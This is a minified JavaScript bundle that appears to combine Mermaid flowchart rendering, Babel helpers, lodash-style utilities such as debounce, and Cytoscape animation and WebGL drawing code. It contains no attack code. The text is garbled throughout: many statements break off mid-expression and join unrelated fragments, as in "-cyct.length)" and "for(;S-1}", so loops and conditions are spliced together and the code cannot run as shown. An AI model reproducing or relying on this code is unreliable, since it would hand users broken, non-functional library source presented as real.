s=e.graph().rankdir;X.trace("Dir in recursive render - dir:",s);let l=t.insert("g").attr("class","root");e.nodes()?X.info("Recursive render XXX",e.nodes()):X.info("No nodes found for",e),e.edges().length>0&&X.info("Recursive edges",e.edge(e.edges()[0]));let u=l.insert("g").attr("class","clusters"),h=l.insert("g").attr("class","edgePaths"),f=l.insert("g").attr("class","edgeLabels"),d=l.insert("g").attr("class","nodes");await Promise.all(e.nodes().map(async function(y){let v=e.node(y);if(i!==void 0){let x=JSON.parse(JSON.stringify(i.clusterData));X.trace(`Setting data for parent cluster XXX + Node.id = `,y,` + data=`,x.height,` +Parent cluster`,i.height),e.setNode(i.id,x),e.parent(y)||(X.trace("Setting parent",y,i.id),e.setParent(y,i.id,x))}if(X.info("(Insert) Node XXX"+y+": "+JSON.stringify(e.node(y))),v?.clusterNode){X.info("Cluster identified XBX",y,v.width,e.node(y));let{ranksep:x,nodesep:b}=e.graph();v.graph.setGraph({...v.graph.graph(),ranksep:x+25,nodesep:b});let T=await Doe(d,v.graph,r,n,e.node(y),a),S=T.elem;Qe(v,S),v.diff=T.diff||0,X.info("New compound node after recursive render XAX",y,"width",v.width,"height",v.height),Xte(S,v)}else e.children(y).length>0?(X.trace("Cluster - the non recursive path XBX",y,v.id,v,v.width,"Graph:",e),X.trace(Wm(v.id,e)),Er.set(v.id,{id:Wm(v.id,e),node:v})):(X.trace("Node - the non recursive path XAX",y,d,e.node(y),s),await Cm(d,e.node(y),{config:a,dir:s}))})),await o(async()=>{let y=e.edges().map(async function(v){let x=e.edge(v.v,v.w,v.name);X.info("Edge "+v.v+" -> "+v.w+": "+JSON.stringify(v)),X.info("Edge "+v.v+" -> "+v.w+": ",v," ",JSON.stringify(e.edge(v))),X.info("Fix",Er,"ids:",v.v,v.w,"Translating: ",Er.get(v.v),Er.get(v.w)),await mw(f,x)});await Promise.all(y)},"processEdges")(),X.info("Graph before layout:",JSON.stringify(Wo(e))),X.info("############################################# XXX"),X.info("### Layout ### XXX"),X.info("############################################# XXX"),H2(e),X.info("Graph after layout:",JSON.stringify(Wo(e)));let m=0,{subGraphTitleTotalMargin:g}=Pu(a);return await Promise.all(Aoe(e).map(async function(y){let v=e.node(y);if(X.info("Position XBX => "+y+": ("+v.x,","+v.y,") width: ",v.width," height: ",v.height),v?.clusterNode)v.y+=g,X.info("A tainted cluster node XBX1",y,v.id,v.width,v.height,v.x,v.y,e.parent(y)),Er.get(v.id).node=v,P2(v);else if(e.children(y).length>0){X.info("A pure cluster node XBX1",y,v.id,v.x,v.y,v.width,v.height,e.parent(y)),v.height+=g,e.node(v.parentId);let x=v?.padding/2||0,b=v?.labelBBox?.height||0,T=b-x||0;X.debug("OffsetY",T,"labelHeight",b,"halfPadding",x),await Sm(u,v),Er.get(v.id).node=v}else{let x=e.node(v.parentId);v.y+=g/2,X.info("A regular node XBX1 - using the padding",v.id,"parent",v.parentId,v.width,v.height,v.x,v.y,"offsetY",v.offsetY,"parent",x,x?.offsetY,v),P2(v)}})),e.edges().forEach(function(y){let v=e.edge(y);X.info("Edge "+y.v+" -> "+y.w+": "+JSON.stringify(v),v),v.points.forEach(S=>S.y+=g/2);let x=e.node(y.v);var b=e.node(y.w);let T=yw(h,v,Er,r,x,b,n);gw(v,T)}),e.nodes().forEach(function(y){let v=e.node(y);X.info(y,v.type,v.diff),v.isGroup&&(m=v.diff)}),X.warn("Returning from recursive render XAX",l,m),{elem:l,diff:m}},"recursiveRender"),d$e=o(async(t,e)=>{let r=new cn({multigraph:!0,compound:!0}).setGraph({rankdir:t.direction,nodesep:t.config?.nodeSpacing||t.config?.flowchart?.nodeSpacing||t.nodeSpacing,ranksep:t.config?.rankSpacing||t.config?.flowchart?.rankSpacing||t.rankSpacing,marginx:8,marginy:8}).setDefaultEdgeLabel(function(){return{}}),n=e.select("g");vw(n,t.markers,t.type,t.diagramId),jte(),Yte(),zte(),Toe(),t.nodes.forEach(a=>{r.setNode(a.id,{...a}),a.parentId&&r.setParent(a.id,a.parentId)}),X.debug("Edges:",t.edges),t.edges.forEach(a=>{if(a.start===a.end){let s=a.start,l=s+"---"+s+"---1",u=s+"---"+s+"---2",h=r.node(s);r.setNode(l,{domId:l,id:l,parentId:h.parentId,labelStyle:"",label:"",padding:0,shape:"labelRect",style:"",width:10,height:10}),r.setParent(l,h.parentId),r.setNode(u,{domId:u,id:u,parentId:h.parentId,labelStyle:"",padding:0,shape:"labelRect",label:"",style:"",width:10,height:10}),r.setParent(u,h.parentId);let f=structuredClone(a),d=structuredClone(a),p=structuredClone(a);f.label="",f.arrowTypeEnd="none",f.id=s+"-cyclic-special-1",d.arrowTypeStart="none",d.arrowTypeEnd="none",d.id=s+"-cyclic-special-mid",p.label="",h.isGroup&&(f.fromCluster=s,p.toCluster=s),p.id=s+"-cyclic-special-2",p.arrowTypeStart="none",r.setEdge(s,l,f,s+"-cyclic-special-0"),r.setEdge(l,u,d,s+"-cyclic-special-1"),r.setEdge(u,s,p,s+"-cyct.length)&&(e=t.length);for(var r=0,n=Array(e);r=t.length?{done:!0}:{done:!1,value:t[n++]}},"n"),e:o(function(u){throw u},"e"),f:i}}throw new TypeError(`Invalid attempt to iterate non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}var a,s=!0,l=!1;return{s:o(function(){r=r.call(t)},"s"),n:o(function(){var u=r.next();return s=u.done,u},"n"),e:o(function(u){l=!0,a=u},"e"),f:o(function(){try{s||r.return==null||r.return()}finally{if(l)throw a}},"f")}}function sue(t,e,r){return(e=oue(e))in t?Object.defineProperty(t,e,{value:r,enumerable:!0,configurable:!0,writable:!0}):t[e]=r,t}function y$e(t){if(typeof Symbol<"u"&&t[Symbol.iterator]!=null||t["@@iterator"]!=null)return Array.from(t)}function v$e(t,e){var r=t==null?null:typeof Symbol<"u"&&t[Symbol.iterator]||t["@@iterator"];if(r!=null){var n,i,a,s,l=[],u=!0,h=!1;try{if(a=(r=r.call(t)).next,e===0){if(Object(r)!==r)return;u=!1}else for(;!(u=(n=a.call(r)).done)&&(l.push(n.value),l.length!==e);u=!0);}catch(f){h=!0,i=f}finally{try{if(!u&&r.return!=null&&(s=r.return(),Object(s)!==s))return}finally{if(h)throw i}}return l}}function x$e(){throw new TypeError(`Invalid attempt to destructure non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function b$e(){throw new TypeError(`Invalid attempt to spread non-iterable instance. +In order to be iterable, non-array objects must have a [Symbol.iterator]() method.`)}function _i(t,e){return p$e(t)||v$e(t,e)||cI(t,e)||x$e()}function Xk(t){return m$e(t)||y$e(t)||cI(t)||b$e()}function T$e(t,e){if(typeof t!="object"||!t)return t;var r=t[Symbol.toPrimitive];if(r!==void 0){var n=r.call(t,e);if(typeof n!="object")return n;throw new TypeError("@@toPrimitive must return a primitive value.")}return String(t)}function oue(t){var e=T$e(t,"string");return typeof e=="symbol"?e:e+""}function $i(t){"@babel/helpers - typeof";return $i=typeof Symbol=="function"&&typeof Symbol.iterator=="symbol"?function(e){return typeof e}:function(e){return e&&typeof Symbol=="function"&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},$i(t)}function cI(t,e){if(t){if(typeof t=="string")return UM(t,e);var r={}.toString.call(t).slice(8,-1);return r==="Object"&&t.constructor&&(r=t.constructor.name),r==="Map"||r==="Set"?Array.from(t):r==="Arguments"||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r)?UM(t,e):void 0}}function gx(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,"default")?t.default:t}function yx(){if(Ioe)return dN;Ioe=1;function t(e){var r=typeof e;return e!=null&&(r=="object"||r=="function")}return o(t,"isObject"),dN=t,dN}function H$e(){if(Ooe)return pN;Ooe=1;var t=typeof Ek=="object"&&Ek&&Ek.Object===Object&&Ek;return pN=t,pN}function cE(){if(Poe)return mN;Poe=1;var t=H$e(),e=typeof self=="object"&&self&&self.Object===Object&&self,r=t||e||Function("return this")();return mN=r,mN}function q$e(){if(Boe)return gN;Boe=1;var t=cE(),e=o(function(){return t.Date.now()},"now");return gN=e,gN}function W$e(){if(Foe)return yN;Foe=1;var t=/\s/;function e(r){for(var n=r.length;n--&&t.test(r.charAt(n)););return n}return o(e,"trimmedEndIndex"),yN=e,yN}function Y$e(){if($oe)return vN;$oe=1;var t=W$e(),e=/^\s+/;function r(n){return n&&n.slice(0,t(n)+1).replace(e,"")}return o(r,"baseTrim"),vN=r,vN}function fI(){if(zoe)return xN;zoe=1;var t=cE(),e=t.Symbol;return xN=e,xN}function X$e(){if(Goe)return bN;Goe=1;var t=fI(),e=Object.prototype,r=e.hasOwnProperty,n=e.toString,i=t?t.toStringTag:void 0;function a(s){var l=r.call(s,i),u=s[i];try{s[i]=void 0;var h=!0}catch{}var f=n.call(s);return h&&(l?s[i]=u:delete s[i]),f}return o(a,"getRawTag"),bN=a,bN}function j$e(){if(Voe)return TN;Voe=1;var t=Object.prototype,e=t.toString;function r(n){return e.call(n)}return o(r,"objectToString"),TN=r,TN}function gue(){if(Uoe)return wN;Uoe=1;var t=fI(),e=X$e(),r=j$e(),n="[object Null]",i="[object Undefined]",a=t?t.toStringTag:void 0;function s(l){return l==null?l===void 0?i:n:a&&a in Object(l)?e(l):r(l)}return o(s,"baseGetTag"),wN=s,wN}function K$e(){if(Hoe)return kN;Hoe=1;function t(e){return e!=null&&typeof e=="object"}return o(t,"isObjectLike"),kN=t,kN}function vx(){if(qoe)return EN;qoe=1;var t=gue(),e=K$e(),r="[object Symbol]";function n(i){return typeof i=="symbol"||e(i)&&t(i)==r}return o(n,"isSymbol"),EN=n,EN}function Q$e(){if(Woe)return SN;Woe=1;var t=Y$e(),e=yx(),r=vx(),n=NaN,i=/^[-+]0x[0-9a-f]+$/i,a=/^0b[01]+$/i,s=/^0o[0-7]+$/i,l=parseInt;function u(h){if(typeof h=="number")return h;if(r(h))return n;if(e(h)){var f=typeof h.valueOf=="function"?h.valueOf():h;h=e(f)?f+"":f}if(typeof h!="string")return h===0?h:+h;h=t(h);var d=a.test(h);return d||s.test(h)?l(h.slice(2),d?2:8):i.test(h)?n:+h}return o(u,"toNumber"),SN=u,SN}function Z$e(){if(Yoe)return CN;Yoe=1;var t=yx(),e=q$e(),r=Q$e(),n="Expected a function",i=Math.max,a=Math.min;function s(l,u,h){var f,d,p,m,g,y,v=0,x=!1,b=!1,T=!0;if(typeof l!="function")throw new TypeError(n);u=r(u)||0,t(h)&&(x=!!h.leading,b="maxWait"in h,p=b?i(r(h.maxWait)||0,u):p,T="trailing"in h?!!h.trailing:T);function S(D){var _=f,O=d;return f=d=void 0,v=D,m=l.apply(O,_),m}o(S,"invokeFunc");function w(D){return v=D,g=setTimeout(C,u),x?S(D):m}o(w,"leadingEdge");function k(D){var _=D-y,O=D-v,M=u-_;return b?a(M,p-O):M}o(k,"remainingWait");function A(D){var _=D-y,O=D-v;return y===void 0||_>=u||_<0||b&&O>=p}o(A,"shouldInvoke");function C(){var D=e();if(A(D))return R(D);g=setTimeout(C,k(D))}o(C,"timerExpired");function R(D){return g=void 0,T&&f?S(D):(f=d=void 0,m)}o(R,"trailingEdge");function I(){g!==void 0&&clearTimeout(g),v=0,f=y=d=g=void 0}o(I,"cancel");function L(){return g===void 0?m:R(e())}o(L,"flush");function E(){var D=e(),_=A(D);if(f=arguments,d=this,y=D,_){if(g===void 0)return w(y);if(b)return clearTimeout(g),g=setTimeout(C,u),S(y)}return g===void 0&&(g=setTimeout(C,u)),m}return o(E,"debounced"),E.cancel=I,E.flush=L,E}return o(s,"debounce"),CN=s,CN}function nze(t,e,r,n,i){var a=i*Math.PI/180,s=Math.cos(a)*(t-r)-Math.sin(a)*(e-n)+r,l=Math.sin(a)*(t-r)+Math.cos(a)*(e-n)+n;return{x:s,y:l}}function aze(t,e,r){if(r===0)return t;var n=(e.x1+e.x2)/2,i=(e.y1+e.y2)/2,a=e.w/e.h,s=1/a,l=nze(t.x,t.y,n,i,r),u=ize(l.x,l.y,n,i,a,s);return{x:u.x,y:u.y}}function gze(){return Zoe||(Zoe=1,(function(t,e){(function(){var r,n,i,a,s,l,u,h,f,d,p,m,g,y,v;i=Math.floor,d=Math.min,n=o(function(x,b){return xb?1:0},"defaultCmp"),f=o(function(x,b,T,S,w){var k;if(T==null&&(T=0),w==null&&(w=n),T<0)throw new Error("lo must be non-negative");for(S==null&&(S=x.length);TI;0<=I?R++:R--)C.push(R);return C}).apply(this).reverse(),A=[],S=0,w=k.length;SL;0<=L?++C:--C)E.push(s(x,T));return E},"nsmallest"),y=o(function(x,b,T,S){var w,k,A;for(S==null&&(S=n),w=x[T];T>b;){if(A=T-1>>1,k=x[A],S(w,k)<0){x[T]=k,T=A;continue}break}return x[T]=w},"_siftdown"),v=o(function(x,b,T){var S,w,k,A,C;for(T==null&&(T=n),w=x.length,C=b,k=x[b],S=2*b+1;S-1}return o(e,"listCacheHas"),tM=e,tM}function cVe(){if($le)return rM;$le=1;var t=mE();function e(r,n){var i=this.__data__,a=t(i,r);return a<0?(++this.size,i.push([r,n])):i[a][1]=n,this}return o(e,"listCacheSet"),rM=e,rM}function uVe(){if(zle)return nM;zle=1;var t=aVe(),e=sVe(),r=oVe(),n=lVe(),i=cVe();function a(s){var l=-1,u=s==null?0:s.length;for(this.clear();++l-1&&n%1==0&&n0;){var f=i.shift();e(f),a.add(f.id()),l&&n(i,a,f)}return t}function Yue(t,e,r){if(r.isParent())for(var n=r._private.children,i=0;i0&&arguments[0]!==void 0?arguments[0]:bUe,e=arguments.length>1?arguments[1]:void 0,r=0;r0?E=_:L=_;while(Math.abs(D)>s&&++O=a?b(I,O):M===0?O:S(I,L,L+h)}o(w,"getTForX");var k=!1;function A(){k=!0,(t!==e||r!==n)&&T()}o(A,"precompute");var C=o(function(L){return k||A(),t===e&&r===n?L:L===0?0:L===1?1:v(w(L),e,n)},"f");C.getControlPoints=function(){return[{x:t,y:e},{x:r,y:n}]};var R="generateBezier("+[t,e,r,n]+")";return C.toString=function(){return R},C}function Dce(t,e,r,n,i){if(n===1||e===r)return r;var a=i(e,r,n);return t==null||((t.roundValue||t.color)&&(a=Math.round(a)),t.min!==void 0&&(a=Math.max(a,t.min)),t.max!==void 0&&(a=Math.min(a,t.max))),a}function Lce(t,e){return t.pfValue!=null||t.value!=null?t.pfValue!=null&&(e==null||e.type.units!=="%")?t.pfValue:t.value:t}function jm(t,e,r,n,i){var a=i!=null?i.type:null;r<0?r=0:r>1&&(r=1);var s=Lce(t,i),l=Lce(e,i);if(At(s)&&At(l))return Dce(a,s,l,r,n);if(An(s)&&An(l)){for(var u=[],h=0;h0?(m==="spring"&&g.push(s.duration),s.easingImpl=Vk[m].apply(null,g)):s.easingImpl=Vk[m]}var y=s.easingImpl,v;if(s.duration===0?v=1:v=(r-u)/s.duration,s.applying&&(v=s.progress),v<0?v=0:v>1&&(v=1),s.delay==null){var x=s.startPosition,b=s.position;if(b&&i&&!t.locked()){var T={};X2(x.x,b.x)&&(T.x=jm(x.x,b.x,v,y)),X2(x.y,b.y)&&(T.y=jm(x.y,b.y,v,y)),t.position(T)}var S=s.startPan,w=s.pan,k=a.pan,A=w!=null&&n;A&&(X2(S.x,w.x)&&(k.x=jm(S.x,w.x,v,y)),X2(S.y,w.y)&&(k.y=jm(S.y,w.y,v,y)),t.emit("pan"));var C=s.startZoom,R=s.zoom,I=R!=null&&n;I&&(X2(C,R)&&(a.zoom=ox(a.minZoom,jm(C,R,v,y),a.maxZoom)),t.emit("zoom")),(A||I)&&t.emit("viewport");var L=s.style;if(L&&L.length>0&&i){for(var E=0;E=0;A--){var C=k[A];C()}k.splice(0,k.length)},"callbacks"),b=m.length-1;b>=0;b--){var T=m[b],S=T._private;if(S.stopped){m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.frames);continue}!S.playing&&!S.applying||(S.playing&&S.applying&&(S.applying=!1),S.started||IUe(f,T,t),MUe(f,T,t,d),S.applying&&(S.applying=!1),x(S.frames),S.step!=null&&S.step(t),T.completed()&&(m.splice(b,1),S.hooked=!1,S.playing=!1,S.started=!1,x(S.completes)),y=!0)}return!d&&m.length===0&&g.length===0&&n.push(f),y}o(i,"stepOne");for(var a=!1,s=0;s0?e.notify("draw",r):e.notify("draw")),r.unmerge(n),e.emit("step")}function hhe(t){this.options=ir({},VUe,UUe,t)}function fhe(t){this.options=ir({},HUe,t)}function dhe(t){this.options=ir({},qUe,t)}function kE(t){this.options=ir({},WUe,t),this.options.layout=this;var e=this.options.eles.nodes(),r=this.options.eles.edges(),n=r.filter(function(i){var a=i.source().data("id"),s=i.target().data("id"),l=e.some(function(h){return h.data("id")===a}),u=e.some(function(h){return h.data("id")===s});return!l||!u});this.options.eles=this.options.eles.not(n)}function yhe(t){this.options=ir({},oHe,t)}function _I(t){this.options=ir({},lHe,t)}function vhe(t){this.options=ir({},cHe,t)}function xhe(t){this.options=ir({},uHe,t)}function bhe(t){this.options=t,this.notifications=0}function khe(t,e){e.radius===0?t.lineTo(e.cx,e.cy):t.arc(e.cx,e.cy,e.radius,e.startAngle,e.endAngle,e.counterClockwise)}function LI(t,e,r,n){var i=arguments.length>4&&arguments[4]!==void 0?arguments[4]:!0;return n===0||e.radius===0?{cx:e.x,cy:e.y,radius:0,startX:e.x,startY:e.y,stopX:e.x,stopY:e.y,startAngle:void 0,endAngle:void 0,counterClockwise:void 0}:(dHe(t,e,r,n,i),{cx:eI,cy:tI,radius:gp,startX:The,startY:whe,stopX:rI,stopY:nI,startAngle:Ic.ang+Math.PI/2*vp,endAngle:Yo.ang-Math.PI/2*vp,counterClockwise:qk})}function Ehe(t){var e=[];if(t!=null){for(var r=0;r5&&arguments[5]!==void 0?arguments[5]:5,s=Math.min(a,n/2,i/2);t.beginPath(),t.moveTo(e+s,r),t.lineTo(e+n-s,r),t.quadraticCurveTo(e+n,r,e+n,r+s),t.lineTo(e+n,r+i-s),t.quadraticCurveTo(e+n,r+i,e+n-s,r+i),t.lineTo(e+s,r+i),t.quadraticCurveTo(e,r+i,e,r+i-s),t.lineTo(e,r+s),t.quadraticCurveTo(e,r,e+s,r),t.closePath()}function Qce(t,e,r){var n=t.createShader(e);if(t.shaderSource(n,r),t.compileShader(n),!t.getShaderParameter(n,t.COMPILE_STATUS))throw new Error(t.getShaderInfoLog(n));return n}function rqe(t,e,r){var n=Qce(t,t.VERTEX_SHADER,e),i=Qce(t,t.FRAGMENT_SHADER,r),a=t.createProgram();if(t.attachShader(a,n),t.attachShader(a,i),t.linkProgram(a),!t.getProgramParameter(a,t.LINK_STATUS))throw new Error("Could not initialize shaders");return a}function nqe(t,e,r){r===void 0&&(r=e);var n=t.makeOffscreenCanvas(e,r),i=n.context=n.getContext("2d");return n.clear=function(){return i.clearRect(0,0,n.width,n.height)},n.clear(),n}function MI(t){var e=t.pixelRatio,r=t.cy.zoom(),n=t.cy.pan();return{zoom:r*e,pan:{x:n.x*e,y:n.y*e}}}function iqe(t){var e=t.pixelRatio,r=t.cy.zoom();return r*e}function aqe(t,e,r,n,i){var a=n*r+e.x,s=i*r+e.y;return s=Math.round(t.canvasHeight-s),[a,s]}function sqe(t){return t.pstyle("background-fill").value!=="solid"||t.pstyle("background-image").strValue!=="none"?!1:t.pstyle("border-width").value===0||t.pstyle("border-opacity").value===0?!0:t.pstyle("border-style").value==="solid"}function oqe(t,e){if(t.length!==e.length)return!1;for(var r=0;r>0&255)/255,r[1]=(t>>8&255)/255,r[2]=(t>>16&255)/255,r[3]=(t>>24&255)/255,r}function lqe(t){return t[0]+(t[1]<<8)+(t[2]<<16)+(t[3]<<24)}function cqe(t,e){var r=t.createTexture();return r.buffer=function(n){t.bindTexture(t.TEXTURE_2D,r),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_S,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_WRAP_T,t.CLAMP_TO_EDGE),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MAG_FILTER,t.LINEAR),t.texParameteri(t.TEXTURE_2D,t.TEXTURE_MIN_FILTER,t.LINEAR_MIPMAP_NEAREST),t.pixelStorei(t.UNPACK_PREMULTIPLY_ALPHA_WEBGL,!0),t.texImage2D(t.TEXTURE_2D,0,t.RGBA,t.RGBA,t.UNSIGNED_BYTE,n),t.generateMipmap(t.TEXTURE_2D),t.bindTexture(t.TEXTURE_2D,null)},r.deleteTexture=function(){t.deleteTexture(r)},r}function Bhe(t,e){switch(e){case"float":return[1,t.FLOAT,4];case"vec2":return[2,t.FLOAT,4];case"vec3":return[3,t.FLOAT,4];case"vec4":return[4,t.FLOAT,4];case"int":return[1,t.INT,4];case"ivec2":return[2,t.INT,4]}}function Fhe(t,e,r){switch(e){case t.FLOAT:return new Float32Array(r);case t.INT:return new Int32Array(r)}}function uqe(t,e,r,n,i,a){switch(e){case t.FLOAT:return new Float32Array(r.buffer,a*n,i);case t.INT:return new Int32Array(r.buffer,a*n,i)}}function hqe(t,e,r,n){var i=Bhe(t,e),a=_i(i,2),s=a[0],l=a[1],u=Fhe(t,l,n),h=t.createBuffer();return t.bindBuffer(t.ARRAY_BUFFER,h),t.bufferData(t.ARRAY_BUFFER,u,t.STATIC_DRAW),l===t.FLOAT?t.vertexAttribPointer(r,s,l,!1,0,0):l===t.INT&&t.vertexAttribIPointer(r,s,l,0,0),t.enableVertexAttribArray(r),t.bindBuffer(t.ARRAY_BUFFER,null),h}function Mc(t,e,r,n){var i=Bhe(t,r),a=_i(i,3),s=a[0],l=a[1],u=a[2],h=Fhe(t,l,e*s),f=s*u,d=t.createBuffer();t.bindBuffer(t.ARRAY_BUFFER,d),t.bufferData(t.ARRAY_BUFFER,e*f,t.DYNAMIC_DRAW),t.enableVertexAttribArray(n),l===t.FLOAT?t.vertexAttribPointer(n,s,l,!1,f,0):l===t.INT&&t.vertexAttribIPointer(n,s,l,f,0),t.vertexAttribDivisor(n,1),t.bindBuffer(t.ARRAY_BUFFER,null);for(var p=new Array(e),m=0;mNhe?(_qe(t),e.call(t,a)):(Dqe(t),Vhe(t,a,nx.SCREEN)))}}{var r=t.matchCanvasSize;t.matchCanvasSize=function(a){r.call(t,a),t.pickingFrameBuffer.setFramebufferAttachmentSizes(t.canvasWidth,t.canvasHeight),t.pickingFrameBuffer.needsDraw=!0}}t.findNearestElements=function(a,s,l,u){return Oqe(t,a,s)};{var n=t.invalidateCachedZSortedEles;t.invalidateCachedZSortedEles=function(){n.call(t),t.pickingFrameBuffer.needsDraw=!0}}{var i=t.notify;t.notify=function(a,s){i.call(t,a,s),a==="viewport"||a==="bounds"?t.pickingFrameBuffer.needsDraw=!0:a==="background"&&t.drawing.invalidate(s,{type:"node-body"})}}}function _qe(t){var e=t.data.contexts[t.WEBGL];e.clear(e.COLOR_BUFFER_BIT|e.DEPTH_BUFFER_BIT)}function Dqe(t){var e=o(function(n){n.save(),n.setTransform(1,0,0,1,0,0),n.clearRect(0,0,t.canvasWidth,t.canvasHeight),n.restore()},"clear");e(t.data.contexts[t.NODE]),e(t.data.contexts[t.DRAG])}function Lqe(t){var e=t.canvasWidth,r=t.canvasHeight,n=MI(t),i=n.pan,a=n.zoom,s=BM();Yk(s,s,[i.x,i.y]),aI(s,s,[a,a]);var l=BM();mqe(l,e,r);var u=BM();return pqe(u,l,s),u}function Ghe(t,e){var r=t.canvasWidth,n=t.canvasHeight,i=MI(t),a=i.pan,s=i.zoom;e.setTransform(1,0,0,1,0,0),e.clearRect(0,0,r,n),e.translate(a.x,a.y),e.scale(s,s)}function Rqe(t,e){t.drawSelectionRectangle(e,function(r){return Ghe(t,r)})}function Nqe(t){var e=t.data.contexts[t.NODE];e.save(),Ghe(t,e),e.strokeStyle="rgba(0, 0, 0, 0.3)",e.beginPath(),e.moveTo(-1e3,0),e.lineTo(1e3,0),e.stroke(),e.beginPath(),e.moveTo(0,-1e3),e.lineTo(0,1e3),e.stroke(),e.restore()}function Mqe(t){var e=o(function(i,a,s){for(var l=i.atlasManager.getAtlasCollection(a),u=t.data.contexts[t.NODE],h=l.atlases,f=0;f=0&&S.add(A)}return S}function Oqe(t,e,r){var n=Iqe(t,e,r),i=t.getCachedZSortedEles(),a,s,l=qs(n),u;try{for(l.s();!(u=l.n()).done;){var h=u.value,f=i[h];if(!a&&f.isNode()&&(a=f),!s&&f.isEdge()&&(s=f),a&&s)break}}catch(d){l.e(d)}finally{l.f()}return[a,s].filter(Boolean)}function VM(t,e,r){var n=t.drawing;e+=1,r.isNode()?(n.drawNode(r,e,"node-underlay"),n.drawNode(r,e,"node-body"),n.drawTexture(r,e,"label"),n.drawNode(r,e,"node-overlay")):(n.drawEdgeLine(r,e),n.drawEdgeArrow(r,e,"source"),n.drawEdgeArrow(r,e,"target"),n.drawTexture(r,e,"label"),n.drawTexture(r,e,"edge-source-label"),n.drawTexture(r,e,"edge-target-label"))}function Vhe(t,e,r){var n;t.webglDebug&&(n=performance.now());var i=t.drawing,a=0;if(r.screen&&t.data.canvasNeedsRedraw[t.SELECT_BOX]&&Rqe(t,e),t.data.canvasNeedsRedraw[t.NODE]||r.picking){var s=t.data.contexts[t.WEBGL];r.screen?(s.clearColor(0,0,0,0),s.enable(s.BLEND),s.blendFunc(s.ONE,s.ONE_MINUS_SRC_ALPHA)):s.disable(s.BLEND),s.clear(s.COLOR_BUFFER_BIT|s.DEPTH_BUFFER_BIT),s.viewport(0,0,s.canvas.width,s.canvas.height);var l=Lqe(t),u=t.getCachedZSortedEles();if(a=u.length,i.startFrame(l,r),r.screen){for(var h=0;h{"use strict";o(UM,"_arrayLikeToArray");o(p$e,"_arrayWithHoles");o(m$e,"_arrayWithoutHoles");o(Af,"_classCallCheck");o(g$e,"_defineProperties");o(_f,"_createClass");o(qs,"_createForOfIteratorHelper");o(sue,"_defineProperty$1");o(y$e,"_iterableToArray");o(v$e,"_iterableToArrayLimit");o(x$e,"_nonIterableRest");o(b$e,"_nonIterableSpread");o(_i,"_slicedToArray");o(Xk,"_toConsumableArray");o(T$e,"_toPrimitive");o(oue,"_toPropertyKey");o($i,"_typeof");o(cI,"_unsupportedIterableToArray");Bi=typeof window>"u"?null:window,Noe=Bi?Bi.navigator:null;Bi&&Bi.document;w$e=$i(""),lue=$i({}),k$e=$i(function(){}),E$e=typeof HTMLElement>"u"?"undefined":$i(HTMLElement),px=o(function(e){return e&&e.instanceString&&oi(e.instanceString)?e.instanceString():null},"instanceStr"),Jt=o(function(e){return e!=null&&$i(e)==w$e},"string"),oi=o(function(e){return e!=null&&$i(e)===k$e},"fn"),An=o(function(e){return!fo(e)&&(Array.isArray?Array.isArray(e):e!=null&&e instanceof Array)},"array"),Yr=o(function(e){return e!=null&&$i(e)===lue&&!An(e)&&e.constructor===Object},"plainObject"),S$e=o(function(e){return e!=null&&$i(e)===lue},"object"),At=o(function(e){return e!=null&&$i(e)===$i(1)&&!isNaN(e)},"number"),C$e=o(function(e){return At(e)&&Math.floor(e)===e},"integer"),jk=o(function(e){if(E$e!=="undefined")return e!=null&&e instanceof HTMLElement},"htmlElement"),fo=o(function(e){return mx(e)||cue(e)},"elementOrCollection"),mx=o(function(e){return px(e)==="collection"&&e._private.single},"element"),cue=o(function(e){return px(e)==="collection"&&!e._private.single},"collection"),uI=o(function(e){return px(e)==="core"},"core"),uue=o(function(e){return px(e)==="stylesheet"},"stylesheet"),A$e=o(function(e){return px(e)==="event"},"event"),Tf=o(function(e){return e==null?!0:!!(e===""||e.match(/^\s+$/))},"emptyString"),_$e=o(function(e){return typeof HTMLElement>"u"?!1:e instanceof HTMLElement},"domElement"),D$e=o(function(e){return Yr(e)&&At(e.x1)&&At(e.x2)&&At(e.y1)&&At(e.y2)},"boundingBox"),L$e=o(function(e){return S$e(e)&&oi(e.then)},"promise"),R$e=o(function(){return Noe&&Noe.userAgent.match(/msie|trident|edge/i)},"ms"),lg=o(function(e,r){r||(r=o(function(){if(arguments.length===1)return arguments[0];if(arguments.length===0)return"undefined";for(var a=[],s=0;sr?1:0},"ascending"),F$e=o(function(e,r){return-1*fue(e,r)},"descending"),ir=Object.assign!=null?Object.assign.bind(Object):function(t){for(var e=arguments,r=1;r1&&(v-=1),v<1/6?g+(y-g)*6*v:v<1/2?y:v<2/3?g+(y-g)*(2/3-v)*6:g}o(f,"hue2rgb");var d=new RegExp("^"+I$e+"$").exec(e);if(d){if(n=parseInt(d[1]),n<0?n=(360- -1*n%360)%360:n>360&&(n=n%360),n/=360,i=parseFloat(d[2]),i<0||i>100||(i=i/100,a=parseFloat(d[3]),a<0||a>100)||(a=a/100,s=d[4],s!==void 0&&(s=parseFloat(s),s<0||s>1)))return;if(i===0)l=u=h=Math.round(a*255);else{var p=a<.5?a*(1+i):a+i-a*i,m=2*a-p;l=Math.round(255*f(m,p,n+1/3)),u=Math.round(255*f(m,p,n)),h=Math.round(255*f(m,p,n-1/3))}r=[l,u,h,s]}return r},"hsl2tuple"),G$e=o(function(e){var r,n=new RegExp("^"+N$e+"$").exec(e);if(n){r=[];for(var i=[],a=1;a<=3;a++){var s=n[a];if(s[s.length-1]==="%"&&(i[a]=!0),s=parseFloat(s),i[a]&&(s=s/100*255),s<0||s>255)return;r.push(Math.floor(s))}var l=i[1]||i[2]||i[3],u=i[1]&&i[2]&&i[3];if(l&&!u)return;var h=n[4];if(h!==void 0){if(h=parseFloat(h),h<0||h>1)return;r.push(h)}}return r},"rgb2tuple"),V$e=o(function(e){return 